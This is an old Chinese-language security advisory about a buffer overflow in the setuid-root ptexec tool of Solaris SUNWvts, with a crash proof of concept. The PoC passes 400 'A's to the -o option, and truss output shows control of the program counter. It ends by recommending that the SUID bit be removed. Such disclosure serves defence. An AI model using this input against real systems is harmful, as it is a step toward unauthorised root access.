xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Solaris /opt/SUNWvts/bin/ptexec 存在缓冲溢出


发布时间:2001-06-23
更新时间:2001-06-23
严重程度:
威胁程度:本地管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
SunOS 5.8 SPARC
详细描述
SUNWvts 工具包(不是Solaris的默认安装工具)中的ptexec命令是以setuid
root默认安装,其中在处理-o选项的用户输入时没有很好的进行边界检查,
缓冲溢出将在提交大于400字符时产生。

测试代码
# uname -a
SunOS laika 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10


# > .sunvts_sec_gss
# /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
Segmentation Fault (core dumped)


# truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`


execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54) argc = 3
stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780) = 0
open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
open("/usr/lib/librpcsvc.so.1", O_RDONLY) = 3
fstat(3, 0xFFBEF518) = 0
mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000


[.....]


sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0
sigaction(SIGSEGV, 0xFFBEE388, 0x00000000) = 0
sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0
setcontext(0xFFBEE248)
    Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0
      siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
    Received signal #11, SIGSEGV [default]
      siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
        *** process killed ***

解决方案
去掉SUID位

相关信息